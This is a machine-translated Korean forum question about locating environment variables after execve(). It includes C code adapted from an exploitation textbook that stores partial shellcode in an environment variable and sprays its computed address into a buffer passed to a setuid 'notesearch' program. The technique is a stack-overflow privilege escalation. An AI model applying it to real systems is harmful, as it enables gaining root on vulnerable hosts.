execve()를 사용하여 부모 프로세스에서 정의한 특정 환경 변수가있는 자식 프로세스를 실행하는 부모 프로세스를 사용하고 있습니다. 부모 프로세스에서 메모리 위치 $ esp + 0x240을 보면 모든 환경 변수를 찾습니다. 그러나 일단 자식 프로세스가 시작되면 미리 정의 된 환경 변수가 저장된 메모리 주소를 찾을 수 없습니다.execve()를 사용하여 자식 프로세스를 실행하는 환경 변수
execve()는 부모 프로세스를 자식 프로세스로 대체하기 때문에 자식 프로세스에 전달 된 환경 변수는 환경 변수 문자열의 길이에서 (Linux의 경우) 빼기 0xbffffffa에 위치 할 것이라고 생각했을 것입니다. 그러나 자식 프로세스가 시작되면 더 이상 해당 위치를 메모리에 액세스 할 수 없습니다. execve()를 호출하기 전에 부모 프로세스의 esp는 0xbffff120이고, 일단 자식 프로세스가 시작되면 esp는 0xbf9835a0으로 점프합니다. (자식 프로세스가 부모 프로세스에 없었던 루트 권한을 가지고 있기 때문입니다.) 이제 스택의 맨 위에서 메모리에 더 이상 액세스 할 수없는 지점까지 메모리를 살펴보면 상위 프로세스에서 전달 된 환경 변수에 서명되지 않았습니다. 그들이 어디에 위치합니까? 또한 좀 더 일반적인 메모에서 프로세스를 실행할 때 스택의 맨 아래에 메모리의 하이 엔드에 복사 된 환경 변수가 모두 있습니까?
#include <stdio.h>
#include <stdlio.h>
#include <string.h>
#include <unistd.h>
char envvari[]=
"\x31\xc0\ ...." // Can be any environment variable
int main(int argc, char *argv[]) {
char *env[2] = {envvari, 0};
unsigned int i, ret;
char *buffer = (char *) malloc(160);
char *args[] = {"notesearch", buffer, 0};
ret = 0xbffffffa - (sizeof(envvari)-1) - strlen("./notesearch");
for(i=0; i < 160; i+=4)
*((unsigned int *)(buffer+i)) = ret;
execve("./notesearch", args, env);
free(buffer);
}
* 코드를 설명하는 대신 실제로 코드를 * 표시하는 것이 좋습니다. –
몇 가지 코드없이 도움이되는 대답을 얻지 못할 수도 있습니다. +1 @ Joachim Pileborg –
여러분 중 일부는 Jon Erickson의 '착취 기술'이라는 책에서이 코드의 예를 보았을 것입니다. –